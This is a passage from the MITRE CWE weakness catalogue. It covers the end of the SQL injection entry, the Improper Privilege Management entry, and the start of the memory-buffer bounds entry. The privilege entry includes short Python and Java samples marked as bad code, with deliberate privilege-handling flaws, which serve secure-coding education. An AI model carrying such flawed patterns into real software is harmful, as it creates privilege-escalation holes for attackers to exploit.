  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.713OWASP Top Ten 2007 Category A2 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.727OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.810OWASP Top Ten 2010 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
+ Notes

Relationship

SQL injection can be resultant from special character mismanagement, MAID, or denylist/allowlist problems. It can be primary to authentication errors.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSQL injection
7 Pernicious KingdomsSQL Injection
CLASPSQL injection
OWASP Top Ten 2007A2CWE More SpecificInjection Flaws
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
WASC19SQL Injection
Software Fault PatternsSFP24Tainted input to command
OMG ASCSMASCSM-CWE-89
SEI CERT Oracle Coding Standard for JavaIDS00-JExactPrevent SQL injection
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 1: SQL Injection." Page 3. McGraw-Hill. 2010.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 12, "Database Input Issues" Page 397. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-867] OWASP. "SQL Injection Prevention Cheat Sheet". <http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet>.
[REF-868] Steven Friedl. "SQL Injection Attacks by Example". 2007-10-10. <http://www.unixwiz.net/techtips/sql-injection.html>.
[REF-869] Ferruh Mavituna. "SQL Injection Cheat Sheet". 2007-03-15. <http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>.
[REF-870] David Litchfield, Chris Anley, John Heasman and Bill Grindlay. "The Database Hacker's Handbook: Defending Database Servers". Wiley. 2005-07-14.
[REF-871] David Litchfield. "The Oracle Hacker's Handbook: Hacking and Defending Oracle". Wiley. 2007-01-30.
[REF-872] Microsoft. "SQL Injection". 2008-12. <http://msdn.microsoft.com/en-us/library/ms161953.aspx>.
[REF-873] Microsoft Security Vulnerability Research & Defense. "SQL Injection Attack". <http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx>.
[REF-874] Michael Howard. "Giving SQL Injection the Respect it Deserves". 2008-05-15. <http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx>.
[REF-875] Frank Kim. "Top 25 Series - Rank 2 - SQL Injection". SANS Software Security Institute. 2010-03-01. <http://blogs.sans.org/appsecstreetfighter/2010/03/01/top-25-series-rank-2-sql-injection/>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "SQL Queries", Page 431. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "SQL Injection", Page 1061. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-89. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Modes_of_Introduction, Name, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-01-12CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Name, Related_Attack_Patterns
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated Description, Name, White_Box_Definitions
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Name, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, Observed_Examples, References, Relationships, White_Box_Definitions
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships, Time_of_Introduction
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, Relationship_Notes
2020-08-20CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11SQL Injection
2008-09-09Failure to Sanitize Data into SQL Queries (aka 'SQL Injection')
2009-01-12Failure to Sanitize Data within SQL Queries (aka 'SQL Injection')
2009-05-27Failure to Preserve SQL Query Structure (aka 'SQL Injection')
2009-07-27Failure to Preserve SQL Query Structure ('SQL Injection')
2010-06-21Improper Sanitization of Special Elements used in an SQL Command ('SQL Injection')

CWE-269: Improper Privilege Management

Weakness ID: 269
Abstraction: Class
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.284Improper Access Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.250Execution with Unnecessary Privileges
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.266Incorrect Privilege Assignment
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.267Privilege Defined With Unsafe Actions
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.268Privilege Chaining
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.270Privilege Context Switching Error
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.271Privilege Dropping / Lowering Errors
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.274Improper Handling of Insufficient Privileges
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.648Incorrect Use of Privileged APIs
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This code temporarily raises the program's privileges to allow creation of a new user folder.

(bad code)
Example Language: Python 
def makeNewUserDir(username):
if invalidUsername(username):

#avoid CWE-22 and CWE-78
print('Usernames cannot contain invalid characters')
return False

try:
raisePrivileges()
os.mkdir('/home/' + username)
lowerPrivileges()

except OSError:
print('Unable to create new user directory for user:' + username)
return False

return True

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

Example 2

Evidence of privilege change:

(bad code)
Example Language:
seteuid(0);
/* do some stuff */

seteuid(getuid());
(bad code)
Example Language: Java 
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {

// privileged code goes here, for example:
System.loadLibrary("awt");
return null;
// nothing to return
}

Example 3

This code intends to allow only Administrators to print debug information about a system.

(bad code)
Example Language: Java 
public enum Roles {
ADMIN,USER,GUEST
}

public void printDebugInfo(User requestingUser){
if(isAuthenticated(requestingUser)){
switch(requestingUser.role){
case GUEST:
System.out.println("You are not authorized to perform this command");
break;

default:
System.out.println(currentDebugState());
break;
}
}
else{
System.out.println("You must be logged in to perform this command");
}
}

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those the with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

Example 4

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

(bad code)
Example Language: Java 
public enum Roles {
ADMIN,OPERATOR,USER,GUEST
}

public void resetPassword(User requestingUser, User user, String password ){
if(isAuthenticated(requestingUser)){
switch(requestingUser.role){
case GUEST:
System.out.println("You are not authorized to perform this command");
break;

case USER:
System.out.println("You are not authorized to perform this command");
break;

default:
setPassword(user,password);
break;
}
}

else{
System.out.println("You must be logged in to perform this command");
}
}

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

+ Observed Examples
ReferenceDescription
Terminal privileges are not reset when a user logs out.
Does not properly pass security context to child processes in certain cases, allows privilege escalation.
Does not properly compute roles.
untrusted user placed in unix "wheel" group
Product allows users to grant themselves certain rights that can be used to escalate privileges.
Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue.
Product mistakenly assigns a particular status to an entity, leading to increased privileges.
FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients.
OS incorrectly installs a program with setuid privileges, allowing users to gain privileges.
Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).
Installation script installs some programs as setuid when they shouldn't be.
Roles have access to dangerous procedures (Accessible entities).
Untrusted object/method gets access to clipboard (Accessible entities).
Traceroute program allows unprivileged users to modify source address of packet (Accessible entities).
User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions).
+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Phase: Architecture and Design

Strategy: Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.901SFP Primary Cluster: Privilege
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
+ Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPrivilege Management Error
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 16: Executing Code With Too Much Privilege." Page 243. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Dropping Privileges Permanently", Page 479. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Team
Moved this entry higher up in the Research view.
2008-09-08CWE Content TeamMITRE
updated Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27CWE Content TeamMITRE
updated Name
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Description, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, Type
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples, Maintenance_Notes, Observed_Examples, Relationships
2020-02-24CWE Content TeamMITRE
updated Observed_Examples, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Privilege Management Error
2009-05-27Insecure Privilege Management

CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

Weakness ID: 119
Abstraction: Class
Structure: Simple
Status: Stable
Presentation Filter:
+ Description
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
+ Extended Description

Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.

As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.

+ Alternate Terms
Buffer Overflow:
The "buffer overflow" term has many different meanings to different audiences. From a CWE mapping perspective, this term should be avoided where possible. Some researchers, developers, and tools intend for it to mean "write past the end of a buffer," whereas other use the same term to mean "any read or write outside the boundaries of a buffer, whether before the beginning of the buffer or after the end of the buffer." Still others using the same term could mean "any action after the end of a buffer, whether it is a read or write." Since the term is commonly used for exploitation and for vulnerabilities, it further confuses things.
buffer overrun:
Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow." See the alternate term for "buffer overflow" for context.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.118Incorrect Access of Indexable Resource ('Range Error')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.125Out-of-bounds Read
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.466Return of Pointer Value Outside of Expected Range
ParentOfChainChain - a Compound Element that is a sequence of two or more separate weaknesses that can be closely linked together within software. One weakness, X, can directly create the conditions that are necessary to cause another weakness, Y, to enter a vulnerable condition. When this happens, CWE refers to X as "primary" to Y, and Y is "resultant" from X. Chains can involve more than two weaknesses, and in some cases, they might have a tree-like structure.680Integer Overflow to Buffer Overflow
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.786Access of Memory Location Before Start of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.788Access of Memory Location After End of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.805Buffer Access with Incorrect Length Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.822Untrusted Pointer Dereference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.823Use of Out-of-range Pointer Offset
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.824Access of Uninitialized Pointer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.825Expired Pointer Dereference
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.128Wrap-around Error
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.129Improper Validation of Array Index
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.131Incorrect Calculation of Buffer Size
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.190Integer Overflow or Wraparound
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.193Off-by-one Error
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.195Signed to Unsigned Conversion Error
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.839Numeric Range Comparison Without Minimum Check
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.843Access of Resource Using Incompatible Type ('Type Confusion')
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1257Improper Access Control Applied to Mirrored or Aliased Memory Regions
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1260Improper Handling of Overlap Between Protected Memory Ranges
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.125Out-of-bounds Read
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.824Access of Uninitialized Pointer
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.123Write-what-where Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.125Out-of-bounds Read
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.130Improper Handling of Length Parameter Inconsistency
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.786Access of Memory Location Before Start of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.788Access of Memory Location After End of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.805Buffer Access with Incorrect Length Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.822Untrusted Pointer Dereference
